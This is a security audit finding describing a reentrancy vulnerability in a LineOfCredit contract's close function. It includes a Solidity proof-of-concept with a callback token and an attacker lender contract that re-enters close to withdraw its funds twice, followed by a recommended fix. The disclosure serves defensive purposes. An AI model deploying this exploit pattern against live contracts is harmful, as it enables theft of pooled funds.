# Reentrancy attack when closing a credit in the LineOfCredit contract

There is a reentrancy vulnerability in the `_close` function of the LineOfCredit contract, which may lead a malicious lender to steal funds from the line contract while closing his position.

## Impact

The `_close` function is used to finalize a credit and send the deposit and interest back to the lender. The function will first send the payment back to the lender and then update the state of the credit (in this case the credit is deleted).

If the credit token is an ERC20 with callbacks (variants of this include ERC223 or ERC777), then a reentrancy attack is possible using a contract that receives the hook and reenters the `close` function.

This will allow a malicious lender to remove his funds multiple times, stealing funds from the line of credit.

Note that this attack can also be triggered using ETH. In this case it would be difficult to pull since `LineLib.sendOutTokenOrETH` uses `address.transfer(amount)` which has a cap of 2300 units of gas.

## PoC

In this test the attacker uses a simplified version of an ERC223 token (SimpleERC223Token, for demo purposes) that allows him to execute a reentrancy attack using a contract that acts as the lender (ReentrancyLender). In the test the attacker reenters just once to simplify the issue, but it can potentially reenter any number of times.

Note: the context for this test (setup, variables and helper functions) is similar to the one found in the file `LineOfCredit.t.sol`.

```
interface IERC223Recipient {
    function tokenFallback(address, uint256) external;
}

contract SimpleERC223Token is ERC20 {
    constructor() ERC20("Simple ERC223 Token", "SET") {}
    
    function mint(address account, uint256 amount) external returns(bool) {
        _mint(account, amount);
        return true;
    }

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        // Call parent hook
        super._afterTokenTransfer(from, to, amount);
        if (Address.isContract(to)) {
            // This should use a ERC165 style check, using try/catch to simplify the scenario
            try IERC223Recipient(to).tokenFallback(msg.sender, amount) {} catch {}
        }
    }
}

contract ReentrancyLender is IERC223Recipient {
    bool reentered;
    ILineOfCredit line;
    bytes32 id;
    
    constructor(ILineOfCredit _line) {
        line = _line;
    }
    
    function tokenFallback(address, uint256) external {
        // reenter once for demo purposes, but this can potentially reenter multiple times to empty the contract
        if (!reentered) {
            reentered = true;
            close();
        }
    }
    
    function addCredit(address token, uint256 amount) external {
        ERC20(token).approve(address(line), type(uint256).max);
        id = line.addCredit(100, 1, amount, token, address(this));
    }
    
    function close() public {
        line.close(id);
    }
}

function test_close_Reentrancy() public {
    SimpleERC223Token token = new SimpleERC223Token();
    oracle.enableToken(address(token));
    
    uint256 amount = 1 ether;
    
    // make sure borrower has enough to repay
    token.mint(borrower, 2 * amount);
    vm.prank(borrower);
    token.approve(address(line), type(uint256).max);
    
    // simulate credit tokens in the line, this may be from other lenders or coming from the spigot
    token.mint(address(line), 10 ether);
    
    ReentrancyLender reentrancyLender = new ReentrancyLender(line);
    token.mint(address(reentrancyLender), amount);
    
    // Borrower addCredit
    vm.prank(borrower);
    line.addCredit(dRate, fRate, amount, address(token), address(reentrancyLender));
    
    // Lender addCredit
    reentrancyLender.addCredit(address(token), amount);
    
    bytes32 id = CreditLib.computeId(address(line), address(reentrancyLender), address(token));
    
    // Borrower takes credit
    vm.prank(borrower);
    line.borrow(id, amount);
    
    // Advance time...
    vm.warp(block.timestamp + 30 days);
    line.updateOutstandingDebt();
    
    // Borrower repays debt
    (, uint256 principal, uint256 interestAccrued,,,,)  = line.credits(id);
    uint256 debt = principal + interestAccrued;
    vm.prank(borrower);
    line.depositAndRepay(debt);
    
    // Initiate hack, lender calls close and reenters the function
    reentrancyLender.close();
    
    // Lender has doubled his tokens
    uint256 lenderBalance = token.balanceOf(address(reentrancyLender));
    console.log("Lender balance:", lenderBalance);
    assertEq(lenderBalance, 2 * (principal + interestAccrued));
}
```

## Recommendation

Use a reentrancy guard on the function, or move the payment call (`LineLib.sendOutTokenOrETH`) after the state is updated, following the "check effects interactions" pattern (see https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html).
